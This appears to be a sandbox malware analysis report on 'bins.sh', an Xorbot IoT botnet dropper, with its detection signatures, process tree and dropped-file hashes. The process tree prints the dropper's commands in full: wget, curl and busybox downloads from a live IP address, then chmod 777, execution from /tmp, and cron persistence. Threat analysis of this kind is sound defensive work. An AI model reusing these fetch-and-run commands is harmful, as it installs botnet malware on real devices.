Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/12/2024, 00:08

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241202-aewn3synhs
  • SHA256 aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:690
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:694
        • /usr/bin/wget
          wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:699
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:714
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/chmod
          chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:753
          • /bin/chmod
            chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:764
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:775
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:783
            • /bin/chmod
              chmod 777 utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • File and Directory Permissions Modification
              PID:784
            • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              ./utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Executes dropped EXE
              PID:785
            • /bin/rm
              rm utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
                PID:787
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:788
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:789
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:800
              • /bin/chmod
                chmod 777 Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • File and Directory Permissions Modification
                PID:805
              • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                ./Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Executes dropped EXE
                PID:806
              • /bin/rm
                rm Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                  PID:809
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:821
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:827
                • /bin/chmod
                  chmod 777 Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • File and Directory Permissions Modification
                  PID:828
                • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  ./Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Executes dropped EXE
                  PID:829
                • /bin/rm
                  rm Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                    PID:831
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Writes file to tmp directory
                    PID:832
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Writes file to tmp directory
                    PID:833
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Writes file to tmp directory
                    PID:834
                  • /bin/chmod
                    chmod 777 sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • File and Directory Permissions Modification
                    PID:835
                  • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    ./sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Executes dropped EXE
                    PID:836
                  • /bin/rm
                    rm sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                      PID:838
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Writes file to tmp directory
                      PID:839
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:840
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Writes file to tmp directory
                      PID:841
                    • /bin/chmod
                      chmod 777 bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • File and Directory Permissions Modification
                      PID:842
                    • /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      ./bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Executes dropped EXE
                      PID:843
                    • /bin/rm
                      rm bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                        PID:845
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Writes file to tmp directory
                        PID:846
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:847
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Writes file to tmp directory
                        PID:848
                      • /bin/chmod
                        chmod 777 q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • File and Directory Permissions Modification
                        PID:849
                      • /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        ./q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:850
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:852
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:853
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:854
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  • Reads runtime system information
                                  PID:855
                            • /bin/rm
                              rm q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                              2⤵
                                PID:857
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                2⤵
                                  PID:860
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                  2⤵
                                    PID:861
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:862
                                  • /bin/chmod
                                    chmod 777 nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:863
                                  • /tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                    ./nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                    2⤵
                                    • Executes dropped EXE
                                    PID:864
                                  • /bin/rm
                                    rm nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                    2⤵
                                      PID:866
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/VpqHe0ztWmz6cq7lZljw2wzNP4OWHowapR
                                      2⤵
                                        PID:867

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

                                          • Path /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic

                                          • Path /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c

                                          • Path /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                                          • Size 98KB
                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w

                                          • Path /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

                                          • Path /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER

                                          • Path /tmp/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                          • Size 111KB
                                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                          • MD5 SHA1 SHA512 SSDEEP

                                          q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

                                          • Path /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                          • Size 151KB
                                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                          • MD5 SHA1 SHA512 SSDEEP

                                          sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx

                                          • Path /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj

                                          • Path /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
                                          • Size 111KB
                                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.tHQjvy

                                          • Path /var/spool/cron/crontabs/tmp.tHQjvy
                                          • Size 210B
                                          • SHA256 17114a6aa0592975f15ce67aca7836db3eddcba84b15ebf8b81256ebe89c515e
                                          • MD5 SHA1 SHA512